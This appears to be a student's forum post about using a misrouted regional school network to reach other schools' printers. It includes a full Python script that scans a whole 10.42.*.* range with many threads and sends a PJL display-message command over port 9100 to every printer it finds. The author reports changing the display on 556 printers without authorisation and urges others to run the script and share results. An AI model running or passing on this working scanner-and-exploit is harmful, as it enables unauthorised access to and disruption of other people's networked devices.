Matt Barrett

For the end of year 12 I decided to write the ultimate printer hack after finding that all the schools in the region are on the same network and the subnets are routed together. Some idiot controlling the network between schools in the region routed all 255 subnets together allowing me to access the network of any school I want.

After doing some research about the HP Printer Job Language (PJL) I wrote this script to hack every printer within a ip range of 10.42.*.* in less than 2 minutes. It runs 255 threads at a time getting all the printers in the subnet in less than 1 second while keeping a count of how may printers it was able to connect to. In the regions network i was able to hack 556 printers and give them my message.

Would love to see improved versions or hear how you may modify the script

The script is a pretty quick hack but it works and gets the job done fast.

import os
import re
import time
import sys
import socket
from threading import Thread

PORT=9100
hackcount=0

#Startup stuff
print "----- ULTIMATE PRINTER HACK -----"
print
print "will print a message and display it on the screen of every printer in a subnet"
print
print
start=raw_input("First half of ip range for scanning [10.42]: ")
if start=="":
    start="10.42"
try:
    startnet=input("Starting subnet (" + start + ".X.*) [0]: ")
except:
    startnet=0
try:
    endnet=input("Finishing subnet (" + start + ".X.*) [255]: ")+1
except:
    endnet=256

#####Our Awesome Message to be displayed and the screen hack code
message="Year 12 2009!!!   =)"
hack='\x1B%-12345X@PJL RDYMSG DISPLAY = \"' + message + '\"\r\n\x1B%-12345X\r\n'

#Threading Class, crazy stuff
class hackit(Thread):
   def __init__ (self,ip):
      Thread.__init__(self)
      self.ip = ip
      self.status = "wtf"
      self.hacked = 0
   def run(self):
    try:
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.settimeout(.05)
        self.s.connect((self.ip, PORT))
        self.s.send(hack)
        #self.s.send(message)
        self.s.close()
        self.status = self.ip + ':\t' + 'DONE'
        self.hacked = 1
    except socket.error as msg:
        self.status = self.ip + ':\t\t' + str(msg)

#record the time we started to remember
starttime = time.ctime()

#scan through the subnets and send our message to all that let me in
for subnet in range (startnet, endnet):
    pinglist = []
    for host in range(256):
        ip = start + "." + str(subnet) + "." + str(host)
        current = hackit(ip)
        pinglist.append(current)
        current.start()
    for pingle in pinglist:
        pingle.join()
        if pingle.hacked:
            hackcount+=1
        #print pingle.status
    print "Subnet " + ip + " complete. " + str(hackcount) + " printers hacked."

#just tell the master how everything went and say im finished
print
print "Start:\t\t" + starttime
print "Finished:\t" + time.ctime()
print
print "Master, I am finished, I hacked " + str(hackcount) + " printers =)"

Anyone got pics or comments about the result of the hack at their school would be awesome.